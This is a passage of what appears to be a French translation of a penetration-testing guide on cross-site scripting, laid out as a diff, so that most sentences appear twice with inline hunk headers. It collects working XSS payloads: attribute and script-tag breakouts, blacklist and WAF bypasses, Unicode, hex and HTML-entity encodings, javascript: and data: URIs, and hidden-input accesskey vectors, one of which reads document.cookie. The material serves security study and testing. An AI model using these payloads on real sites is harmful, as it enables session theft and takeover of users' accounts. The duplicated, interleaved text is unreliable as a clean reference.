3. Si vous **ne pouvez pas sortir de l'attribut** (`"` est encodé ou supprimé), alors en fonction de **quel attribut** votre valeur est réfléchie et si vous contrôlez toute la valeur ou juste une partie, vous pourrez l'exploiter. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez le faire exécuter un code arbitraire lorsqu'il est cliqué. Un autre exemple intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter un code arbitraire : **`href="javascript:alert(1)"`**
4. Si votre entrée est réfléchie à l'intérieur de "**balises non exploitables**", vous pourriez essayer le truc de **`accesskey`** pour exploiter la vulnérabilité (vous aurez besoin d'une sorte d'ingénierie sociale pour exploiter cela) : **`" accesskey="x" onclick="alert(1)" x="`**
### À l'intérieur du code JavaScript
Dans ce cas, votre entrée est reflétée entre les balises **`<script> [...] </script>`** d'une page HTML, à l'intérieur d'un fichier `.js` ou à l'intérieur d'un attribut utilisant le protocole **`javascript:`** :
Dans ce cas, votre entrée est réfléchie entre les balises **`<script> [...] </script>`** d'une page HTML, à l'intérieur d'un fichier `.js` ou à l'intérieur d'un attribut utilisant le protocole **`javascript:`** :
* Si reflétée entre les balises **`<script> [...] </script>`**, même si votre entrée est à l'intérieur de n'importe quel type de guillemets, vous pouvez essayer d'injecter `</script>` et de vous échapper de ce contexte. Cela fonctionne parce que **le navigateur analysera d'abord les balises HTML** puis le contenu, par conséquent, il ne remarquera pas que votre balise `</script>` injectée est à l'intérieur du code HTML.
* Si reflétée **à l'intérieur d'une chaîne JS** et que la dernière astuce ne fonctionne pas, vous devrez **sortir** de la chaîne, **exécuter** votre code et **reconstruire** le code JS (si une erreur se produit, il ne sera pas exécuté) :
* Si elle est réfléchie entre les balises **`<script> [...] </script>`**, même si votre entrée est à l'intérieur de guillemets, vous pouvez essayer d'injecter `</script>` et sortir de ce contexte. Cela fonctionne car le **navigateur analysera d'abord les balises HTML** puis le contenu, il ne remarquera donc pas que votre balise `</script>` injectée est à l'intérieur du code HTML.
* Si elle est réfléchie **à l'intérieur d'une chaîne JS** et que le dernier truc ne fonctionne pas, vous devrez **sortir** de la chaîne, **exécuter** votre code et **reconstruire** le code JS (s'il y a une erreur, il ne sera pas exécuté) :
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
* Si reflétée à l'intérieur de littéraux de gabarit, vous pouvez **intégrer des expressions JS** en utilisant la syntaxe `${ ... }` : `` var greetings = `Hello, ${alert(1)}` ``
* **Encoder en Unicode** fonctionne pour écrire un **code javascript valide** :
* Si elle est réfléchie à l'intérieur de littéraux de modèle, vous pouvez **intégrer des expressions JS** en utilisant la syntaxe `${ ... }` : `` var greetings = `Hello, ${alert(1)}` ``
* L'encodage **Unicode** fonctionne pour écrire du **code JavaScript valide**:
```javascript
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
```
#### Javascript Hoisting
#### Levée de Javascript
Le Javascript Hoisting fait référence à la possibilité de **déclarer des fonctions, des variables ou des classes après qu'elles soient utilisées afin de pouvoir abuser de scénarios où un XSS utilise des variables ou des fonctions non déclarées.**\
La levée de Javascript fait référence à la possibilité de **déclarer des fonctions, des variables ou des classes après leur utilisation afin de profiter des scénarios où une XSS utilise des variables ou des fonctions non déclarées.**\
**Consultez la page suivante pour plus d'informations:**
{% content-ref url="js-hoisting.md" %}
@ -92,19 +92,19 @@ Le Javascript Hoisting fait référence à la possibilité de **déclarer des fo
### Fonction Javascript
Plusieurs pages web ont des points de terminaison qui **acceptent en paramètre le nom de la fonction à exécuter**. Un exemple courant à observer sur le terrain est quelque chose comme : `?callback=callbackFunc`.
Plusieurs pages web ont des points de terminaison qui **acceptent en tant que paramètre le nom de la fonction à exécuter**. Un exemple courant que l'on peut voir est quelque chose comme : `?callback=callbackFunc`.
Un bon moyen de découvrir si quelque chose donné directement par l'utilisateur essaie d'être exécuté est de **modifier la valeur du paramètre** (par exemple à 'Vulnerable') et de chercher dans la console des erreurs comme :
Une bonne façon de savoir si quelque chose donné directement par l'utilisateur tente d'être exécuté est de **modifier la valeur du paramètre** (par exemple en la remplaçant par 'Vulnerable') et de chercher dans la console des erreurs comme :
![](<../../.gitbook/assets/image (651) (2).png>)
Dans le cas où c'est vulnérable, vous pourriez être capable de **déclencher une alerte** juste en envoyant la valeur : **`?callback=alert(1)`**. Cependant, il est très courant que ces points de terminaison **valident le contenu** pour n'autoriser que les lettres, les chiffres, les points et les tirets bas (**`[\w\._]`**).
Dans le cas où c'est vulnérable, vous pourriez être en mesure de **déclencher une alerte** en envoyant simplement la valeur : **`?callback=alert(1)`**. Cependant, il est très courant que ces points de terminaison **valident le contenu** pour n'autoriser que des lettres, des chiffres, des points et des traits de soulignement (**`[\w\._]`**).
Cependant, même avec cette limitation, il est toujours possible de réaliser certaines actions. Cela est dû au fait que vous pouvez utiliser ces caractères valides pour **accéder à n'importe quel élément dans le DOM** :
Cependant, même avec cette limitation, il est toujours possible d'effectuer certaines actions. Cela est possible car vous pouvez utiliser ces caractères valides pour **accéder à n'importe quel élément dans le DOM** :
![](<../../.gitbook/assets/image (662).png>)
Quelques fonctions utiles pour cela :
Certaines fonctions utiles pour cela :
```
firstElementChild
lastElementChild
@ -114,9 +114,9 @@ parentElement
```
Vous pouvez également essayer de **déclencher des fonctions Javascript** directement : `obj.sales.delOrders`.
Cependant, habituellement les points de terminaison exécutant la fonction indiquée sont des points de terminaison sans DOM intéressant, **d'autres pages de la même origine** auront un **DOM plus intéressant** pour effectuer plus d'actions.
Cependant, généralement les points d'extrémité exécutant la fonction indiquée sont des points d'extrémité sans beaucoup de DOM intéressant, **d'autres pages dans la même origine** auront un **DOM plus intéressant** pour effectuer davantage d'actions.
Par conséquent, afin de **abuser de cette vulnérabilité dans un DOM différent**, l'exploitation **Same Origin Method Execution (SOME)** a été développée :
Par conséquent, afin d'**exploiter cette vulnérabilité dans un DOM différent**, l'exploitation de la **Méthode d'Exécution de la Même Origine (SOME)** a été développée :
{% content-ref url="some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
@ -124,15 +124,15 @@ Par conséquent, afin de **abuser de cette vulnérabilité dans un DOM différen
### DOM
Il y a du **code JS** qui utilise **de manière non sécurisée** certaines **données contrôlées par un attaquant** comme `location.href`. Un attaquant pourrait abuser de cela pour exécuter du code JS arbitraire.
Il y a du **code JS** qui utilise de manière **non sécurisée** des données contrôlées par un attaquant comme `location.href`. Un attaquant pourrait en abuser pour exécuter du code JS arbitraire.
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
{% endcontent-ref %}
### **Universal XSS**
### **XSS Universel**
Ce type de XSS peut être trouvé **partout**. Ils ne dépendent pas seulement de l'exploitation côté client d'une application web mais de **n'importe quel** **contexte**. Ce type d'**exécution arbitraire de JavaScript** peut même être abusé pour obtenir un **RCE**, **lire** **des fichiers arbitraires** sur les clients et les serveurs, et plus encore.\
Ce type de XSS peut être trouvé **partout**. Ils ne dépendent pas seulement de l'exploitation côté client d'une application web mais de **tout** **contexte**. Ce type d'**exécution de JavaScript arbitraire** peut même être abusé pour obtenir une **RCE**, **lire** des **fichiers** arbitraires sur les clients et les serveurs, et plus encore.\
Quelques **exemples** :
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
@ -143,38 +143,38 @@ Quelques **exemples** :
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
{% endcontent-ref %}
## Contournement de WAF en encodant l'image
## Contournement WAF en encodant une image
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg)
## Injection à l'intérieur du HTML brut
## Injection dans du HTML brut
Lorsque votre entrée est reflétée **à l'intérieur de la page HTML** ou que vous pouvez vous échapper et injecter du code HTML dans ce contexte, la **première** chose que vous devez faire est de vérifier si vous pouvez abuser de `<` pour créer de nouvelles balises : Essayez simplement de **refléter** ce **caractère** et vérifiez s'il est **encodé en HTML** ou **supprimé** ou s'il est **reflété sans changements**. **Seulement dans le dernier cas, vous pourrez exploiter ce cas**.\
Pour ces cas, **gardez également à l'esprit** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Note : Un commentaire HTML peut être fermé en utilisant\*\*\*\***** ****`-->`**** ****ou \*\*\*\*****`--!>`**_
Lorsque votre entrée est réfléchie **à l'intérieur de la page HTML** ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la **première** chose à faire est de vérifier si vous pouvez abuser de `<` pour créer de nouvelles balises : Essayez simplement de **réfléchir** ce **caractère** et vérifiez s'il est **encodé en HTML** ou **supprimé** ou s'il est **réfléchi sans modifications**. **Seulement dans le dernier cas vous pourrez exploiter ce cas**.\
Pour ces cas, gardez également à l'esprit [**l'Injection de Modèles Côté Client**](../client-side-template-injection-csti.md)**.**\
_**Remarque : Un commentaire HTML peut être fermé en utilisant\*\*\*\***** ****`-->`**** ****ou \*\*\*\*****`--!>`**_
Dans ce cas et si aucune liste noire/blanche n'est utilisée, vous pourriez utiliser des charges utiles comme :
Dans ce cas, et si aucune liste noire/liste blanche n'est utilisée, vous pourriez utiliser des charges utiles comme :
```javascript
<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
```
Mais, si un système de liste noire/blanche de balises/attributs est utilisé, vous devrez **forcer brutalement quelles balises** vous pouvez créer.\
Une fois que vous avez **localisé quelles balises sont autorisées**, vous devrez **forcer brutalement les attributs/événements** à l'intérieur des balises valides trouvées pour voir comment vous pouvez attaquer le contexte.
Mais, si la liste blanche/noire des balises/attributs est utilisée, vous devrez **forcer de manière brutale quelles balises** vous pouvez créer.\
Une fois que vous avez **repéré quelles balises sont autorisées**, vous devrez **forcer de manière brutale les attributs/événements** à l'intérieur des balises valides trouvées pour voir comment vous pouvez attaquer le contexte.
### Forçage brutal des balises/événements
### Forcer de manière brutale les balises/événements
Allez sur [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) et cliquez sur _**Copier les balises dans le presse-papier**_. Ensuite, envoyez-les toutes en utilisant l'intrus de Burp et vérifiez si des balises n'ont pas été détectées comme malveillantes par le WAF. Une fois que vous avez découvert quelles balises vous pouvez utiliser, vous pouvez **forcer brutalement tous les événements** en utilisant les balises valides (sur la même page web, cliquez sur _**Copier les événements dans le presse-papier**_ et suivez la même procédure que précédemment).
Allez sur [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) et cliquez sur _**Copier les balises dans le presse-papiers**_. Ensuite, envoyez-les toutes en utilisant Burp Intruder et vérifiez si des balises n'ont pas été découvertes comme malveillantes par le WAF. Une fois que vous avez découvert quelles balises vous pouvez utiliser, vous pouvez **forcer de manière brutale tous les événements** en utilisant les balises valides (sur la même page web, cliquez sur _**Copier les événements dans le presse-papiers**_ et suivez la même procédure qu'auparavant).
### Balises personnalisées
Si vous n'avez trouvé aucune balise HTML valide, vous pourriez essayer de **créer une balise personnalisée** et exécuter du code JS avec l'attribut `onfocus`. Dans la requête XSS, vous devez terminer l'URL avec `#` pour que la page **se concentre sur cet objet** et **exécute** le code :
Si vous n'avez trouvé aucune balise HTML valide, vous pourriez essayer de **créer une balise personnalisée** et exécuter du code JS avec l'attribut `onfocus`. Dans la requête XSS, vous devez terminer l'URL avec `#` pour que la page se **concentre sur cet objet** et **exécute** le code :
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Contournement de liste noire
Si une sorte de liste noire est utilisée, vous pourriez essayer de la contourner avec quelques astuces simples :
Si une sorte de liste noire est utilisée, vous pouvez essayer de la contourner avec quelques astuces ridicules :
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -224,10 +224,10 @@ onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
```
### Contournement de la longueur (petits XSS)
### Contournement de longueur (petits XSS)
{% hint style="info" %}
**Plus de petits XSS pour différents environnements** le payload [**peut être trouvé ici**](https://github.com/terjanq/Tiny-XSS-Payloads) et [**ici**](https://tinyxss.terjanq.me).
**Plus de petits XSS pour différents environnements** charge utile [**peut être trouvée ici**](https://github.com/terjanq/Tiny-XSS-Payloads) et [**ici**](https://tinyxss.terjanq.me).
{% endhint %}
```html
<!-- Taken from the blog of Jorge Lajara -->
@ -235,24 +235,24 @@ onerror=alert`1`
<script src=//aa.es>
<script src=//℡㏛.pw>
```
Le dernier utilise 2 caractères unicode qui se transforment en 5 : telsr\
Vous pouvez trouver plus de ces caractères [ici](https://www.unicode.org/charts/normalization/).\
Pour vérifier en quels caractères ils sont décomposés, consultez [ici](https://www.compart.com/en/unicode/U+2121).
Le dernier consiste à utiliser 2 caractères unicode qui se développent en 5 : telsr\
Plus de ces caractères peuvent être trouvés [ici](https://www.unicode.org/charts/normalization/).\
Pour vérifier dans quels caractères sont décomposés, vérifiez [ici](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking
### Clic XSS - Clickjacking
Si pour exploiter la vulnérabilité vous avez besoin que **l'utilisateur clique sur un lien ou un formulaire** avec des données préremplies, vous pourriez essayer d'[**abuser du Clickjacking**](../clickjacking.md#xss-clickjacking) (si la page y est vulnérable).
Si pour exploiter la vulnérabilité vous avez besoin que **l'utilisateur clique sur un lien ou un formulaire** avec des données préremplies, vous pourriez essayer de [**abuser du Clickjacking**](../clickjacking.md#xss-clickjacking) (si la page est vulnérable).
### Impossible - Dangling Markup
### Impossible - Balisage suspendu
Si vous pensez simplement qu'**il est impossible de créer une balise HTML avec un attribut pour exécuter du code JS**, vous devriez vérifier [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) car vous pourriez **exploiter** la vulnérabilité **sans** exécuter de code **JS**.
Si vous pensez simplement que **il est impossible de créer une balise HTML avec un attribut pour exécuter du code JS**, vous devriez vérifier [**Balisage suspendu**](../dangling-markup-html-scriptless-injection/) car vous pourriez **exploiter** la vulnérabilité **sans** exécuter de code **JS**.
## Injection à l'intérieur d'une balise HTML
## Injection à l'intérieur de la balise HTML
### À l'intérieur de la balise/s'échapper de la valeur d'attribut
### À l'intérieur de la balise/échappement de la valeur de l'attribut
Si vous êtes **à l'intérieur d'une balise HTML**, la première chose que vous pourriez essayer est de **vous échapper** de la balise et d'utiliser certaines des techniques mentionnées dans la [section précédente](./#injecting-inside-raw-html) pour exécuter du code JS.\
Si vous **ne pouvez pas vous échapper de la balise**, vous pourriez créer de nouveaux attributs à l'intérieur de la balise pour essayer d'exécuter du code JS, par exemple en utilisant un payload comme (_notez que dans cet exemple, des guillemets doubles sont utilisés pour s'échapper de l'attribut, vous n'en aurez pas besoin si votre entrée est reflétée directement à l'intérieur de la balise_) :
Si vous êtes **à l'intérieur d'une balise HTML**, la première chose que vous pourriez essayer est de **échapper** de la balise et d'utiliser certaines des techniques mentionnées dans la [section précédente](./#injecting-inside-raw-html) pour exécuter du code JS.\
Si vous **ne pouvez pas échapper de la balise**, vous pourriez créer de nouveaux attributs à l'intérieur de la balise pour essayer d'exécuter du code JS, par exemple en utilisant une charge utile comme (_notez que dans cet exemple, les guillemets doubles sont utilisés pour échapper de l'attribut, vous n'en aurez pas besoin si votre entrée est reflétée directement à l'intérieur de la balise_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -267,16 +267,16 @@ Si vous **ne pouvez pas vous échapper de la balise**, vous pourriez créer de n
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
```
### À l'intérieur de l'attribut
### Dans l'attribut
Même si vous **ne pouvez pas vous échapper de l'attribut** (`"` est codé ou supprimé), selon **quel attribut** reflète votre valeur **si vous contrôlez toute la valeur ou juste une partie**, vous pourrez en abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez le faire exécuter du code arbitraire lorsqu'il est cliqué.\
Même si vous **ne pouvez pas vous échapper de l'attribut** (`"` est encodé ou supprimé), en fonction de **quel attribut** votre valeur est reflétée dans **si vous contrôlez toute la valeur ou juste une partie** vous pourrez en abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez le faire exécuter du code arbitraire lorsqu'il est cliqué.\
Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
**Contournement à l'intérieur de l'événement en utilisant le codage HTML/l'encodage d'URL**
**Contourner à l'intérieur de l'événement en utilisant l'encodage HTML/l'encodage d'URL**
Les **caractères codés en HTML** à l'intérieur de la valeur des attributs des balises HTML sont **décodés à l'exécution**. Ainsi, quelque chose comme ce qui suit sera valide (le payload est en gras) : `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Retour </a>`
Les **caractères encodés en HTML** à l'intérieur de la valeur des attributs des balises HTML sont **décodés à l'exécution**. Par conséquent, quelque chose comme ce qui suit sera valide (le payload est en gras) : `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Retour </a>`
Notez que **tout type de codage HTML est valide** :
Notez que **tout type d'encodage HTML est valide**:
```javascript
//HTML entities
&apos;-alert(1)-&apos;
@ -297,15 +297,15 @@ Notez que **tout type de codage HTML est valide** :
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
**Contournement à l'intérieur de l'événement en utilisant l'encodage Unicode**
**Contourner l'événement interne en utilisant l'encodage Unicode**
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
```
### Protocoles spéciaux à l'intérieur de l'attribut
### Protocoles spéciaux dans l'attribut
Vous pouvez utiliser les protocoles **`javascript:`** ou **`data:`** dans certains endroits pour **exécuter du code JS arbitraire**. Certains nécessiteront une interaction de l'utilisateur, d'autres non.
Vous pouvez utiliser les protocoles **`javascript:`** ou **`data:`** à certains endroits pour **exécuter du code JS arbitraire**. Certains nécessiteront une interaction de l'utilisateur et d'autres non.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -327,7 +327,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Endroits où vous pouvez injecter ces protocoles**
**En général**, le protocole `javascript:` peut être **utilisé dans n'importe quelle balise qui accepte l'attribut `href`** et dans **la plupart** des balises qui acceptent **l'attribut `src`** (mais pas `<img`).
**En général**, le protocole `javascript:` peut être **utilisé dans n'importe quelle balise qui accepte l'attribut `href`** et dans **la plupart** des balises qui acceptent l'attribut `src` (mais pas `<img`)
```markup
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -349,21 +349,21 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Autres astuces d'obfuscation**
_**Dans ce cas, l'encodage HTML et l'astuce d'encodage Unicode de la section précédente sont également valables car vous êtes à l'intérieur d'un attribut.**_
_**Dans ce cas, le codage HTML et le tour de codage Unicode de la section précédente sont également valides car vous vous trouvez à l'intérieur d'un attribut.**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
En outre, il existe une autre **astuce intéressante** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée avant d'être exécutée.** Donc, si vous devez **vous échapper** de la **chaîne de caractères** en utilisant une **apostrophe** et que vous voyez que **cela est encodé en URL**, souvenez-vous que **cela n'a pas d'importance,** cela sera **interprété** comme une **apostrophe** lors du **temps d'exécution**.
De plus, il y a une **astuce intéressante** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée avant d'être exécutée.** Donc, si vous avez besoin de **échapper** de la **chaîne** en utilisant une **apostrophe** et que vous voyez que **elle est encodée en URL**, rappelez-vous que **cela n'a pas d'importance,** elle sera **interprétée** comme une **apostrophe** pendant le **temps d'exécution**.
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Notez que si vous essayez **d'utiliser à la fois** `URLencode + HTMLencode` dans n'importe quel ordre pour encoder le **payload**, cela **ne fonctionnera pas**, mais vous pouvez **les mélanger à l'intérieur du payload**.
Notez que si vous essayez d'**utiliser à la fois** `URLencode + HTMLencode` dans n'importe quel ordre pour encoder la **charge utile**, cela **ne fonctionnera pas**, mais vous pouvez les **mélanger à l'intérieur de la charge utile**.
**Utilisation de l'encodage Hex et Octal avec `javascript:`**
**Utilisation de l'encodage hexadécimal et octal avec `javascript:`**
Vous pouvez utiliser l'**encodage Hex** et **Octal** à l'intérieur de l'attribut `src` de `iframe` (au moins) pour déclarer **des balises HTML pour exécuter du JS** :
Vous pouvez utiliser l'**encodage hexadécimal** et **octal** à l'intérieur de l'attribut `src` de `iframe` (au moins) pour déclarer des **balises HTML à exécuter JS**:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -375,20 +375,22 @@ Vous pouvez utiliser l'**encodage Hex** et **Octal** à l'intérieur de l'attrib
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
```
### Détournement d'onglet inverse
### Reverse tab nabbing
### Capture d'onglet inverse
```javascript
<a target="_blank" rel="opener"
```
Si vous pouvez injecter une URL arbitraire dans une balise **`<a href=`** qui contient les attributs **`target="_blank" et rel="opener"`**, consultez **la page suivante pour exploiter ce comportement** :
Si vous pouvez injecter n'importe quelle URL dans une balise **`<a href=`** arbitraire qui contient les attributs **`target="_blank"`** et **`rel="opener"`**, vérifiez la **page suivante pour exploiter ce comportement**:
{% content-ref url="../reverse-tab-nabbing.md" %}
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
{% endcontent-ref %}
### Contournement des gestionnaires d'événements "on"
### sur le contournement des gestionnaires d'événements
Tout d'abord, consultez cette page ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) pour des gestionnaires d'événements **"on"** utiles.\
Dans le cas où une liste noire vous empêche de créer ces gestionnaires d'événements, vous pouvez essayer les contournements suivants :
Tout d'abord, consultez cette page ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) pour des **gestionnaires d'événements "on"** utiles.\
Au cas où il y aurait une liste noire vous empêchant de créer ces gestionnaires d'événements, vous pouvez essayer les contournements suivants:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -403,9 +405,9 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS dans les "balises inexploitables" (input caché, link, canonical, meta)
### XSS dans les "Balises non exploitables" (input caché, lien, canonique, meta)
Depuis [**ici**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **il est maintenant possible d'abuser des inputs cachés avec :**
À partir de [**ici**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags), il est désormais possible d'abuser des inputs cachés avec :
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
@ -418,21 +420,21 @@ Et dans les **balises meta** :
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
À partir de [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter un **XSS payload à l'intérieur d'un attribut caché**, à condition de pouvoir **convaincre** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut de la touche d'accès. Voici le vecteur :
À partir de [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter une **charge utile XSS à l'intérieur d'un attribut caché**, à condition de pouvoir **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison de touches est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut de touche d'accès. Voici le vecteur :
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**Le payload XSS ressemblera à ceci : `" accesskey="x" onclick="alert(1)" x="`**
**La charge XSS ressemblera à ceci : `" accesskey="x" onclick="alert(1)" x="`**
### Contournements de liste noire
Plusieurs astuces utilisant différents encodages ont déjà été exposées dans cette section. Revenez **en arrière pour apprendre où vous pouvez utiliser :**
Plusieurs astuces utilisant différents encodages ont déjà été exposées dans cette section. Retournez en arrière pour apprendre où vous pouvez utiliser :
* **Encodage HTML (balises HTML)**
* **Encodage Unicode (peut être un code JS valide) :** `\u0061lert(1)`
* **Encodage d'URL**
* **Encodage Hex et Octal**
* **Encodage de données**
* Encodage HTML (balises HTML)
* Encodage Unicode (peut être un code JS valide) : `\u0061lert(1)`
* Encodage d'URL
* Encodage hexadécimal et octal
* Encodage de données
**Contournements pour les balises et attributs HTML**
@ -440,15 +442,15 @@ Lisez les [Contournements de liste noire de la section précédente](./#blacklis
**Contournements pour le code JavaScript**
Lisez la [liste noire de contournement JavaScript de la section suivante](./#javascript-bypass-blacklists-techniques).
Lisez les [Contournements de liste noire JavaScript de la section suivante](./#javascript-bypass-blacklists-techniques).
### CSS-Gadgets
### Gadgets CSS
Si vous trouvez un **XSS dans une très petite partie** du web qui nécessite une sorte d'interaction (peut-être un petit lien dans le pied de page avec un élément onmouseover), vous pouvez essayer de **modifier l'espace occupé par cet élément** pour maximiser les probabilités de déclenchement du lien.
Si vous trouvez une XSS dans une toute petite partie du web qui nécessite une sorte d'interaction (peut-être un petit lien dans le pied de page avec un élément onmouseover), vous pouvez essayer de **modifier l'espace occupé par cet élément** pour maximiser les chances que le lien soit déclenché.
Par exemple, vous pourriez ajouter du style à l'élément comme : `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Par exemple, vous pourriez ajouter un style à l'élément comme ceci : `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Mais, si le WAF filtre l'attribut style, vous pouvez utiliser des Gadgets de Style CSS, donc si vous trouvez, par exemple
Mais, si le WAF filtre l'attribut de style, vous pouvez utiliser des Gadgets de style CSS, donc si vous trouvez, par exemple
> .test {display:block; color: blue; width: 100%\}
@ -456,36 +458,36 @@ et
> \#someid {top: 0; font-family: Tahoma;}
Maintenant, vous pouvez modifier notre lien pour lui donner la forme
Maintenant, vous pouvez modifier notre lien et le mettre sous la forme
> \<a href=”” id=someid class=test onclick=alert() a=””>
> \<a href="" id=someid class=test onclick=alert() a="">
Cette astuce a été prise de [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
Cette astuce a été tirée de [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
## Injection à l'intérieur du code JavaScript
Dans ces cas, votre **entrée** va être **reflétée à l'intérieur du code JS** d'un fichier `.js` ou entre les balises `<script>...</script>` ou entre des événements HTML qui peuvent exécuter du code JS ou entre des attributs qui acceptent le protocole `javascript:`.
Dans ce cas, votre **entrée** sera **réfléchie à l'intérieur du code JS** d'un fichier `.js` ou entre les balises `<script>...</script>` ou entre les événements HTML qui peuvent exécuter du code JS ou entre les attributs qui acceptent le protocole `javascript:`.
### Échapper à la balise \<script>
Si votre code est inséré à l'intérieur de `<script> [...] var input = 'données reflétées' [...] </script>`, vous pourriez facilement **échapper à la fermeture de la balise `<script>`** :
Si votre code est inséré dans `<script> [...] var input = 'reflected data' [...] </script>`, vous pouvez facilement **échapper à la fermeture de la balise `<script>`** :
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Notez que dans cet exemple, nous **n'avons même pas fermé la guillemet simple**, mais ce n'est pas nécessaire car le **navigateur effectue d'abord l'analyse HTML** pour identifier les éléments de la page, y compris les blocs de script, et effectue ensuite l'analyse JavaScript pour comprendre et exécuter les scripts intégrés.
Notez que dans cet exemple, nous n'avons même pas fermé l'apostrophe unique, mais ce n'est pas nécessaire car le navigateur effectue d'abord l'analyse HTML pour identifier les éléments de la page, y compris les blocs de script, et n'effectue que plus tard l'analyse JavaScript pour comprendre et exécuter les scripts intégrés.
### À l'intérieur du code JS
Si les caractères `<>` sont assainis, vous pouvez toujours **échapper à la chaîne** où votre entrée est **localisée** et **exécuter du JS arbitraire**. Il est important de **corriger la syntaxe JS**, car s'il y a des erreurs, le code JS ne sera pas exécuté :
Si `<>` sont en train d'être nettoyés, vous pouvez toujours **échapper la chaîne** là où votre entrée est **localisée** et **exécuter du JS arbitraire**. Il est important de **corriger la syntaxe JS**, car s'il y a des erreurs, le code JS ne sera pas exécuté:
```
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
```
### Littéraux de gabarit \`\`
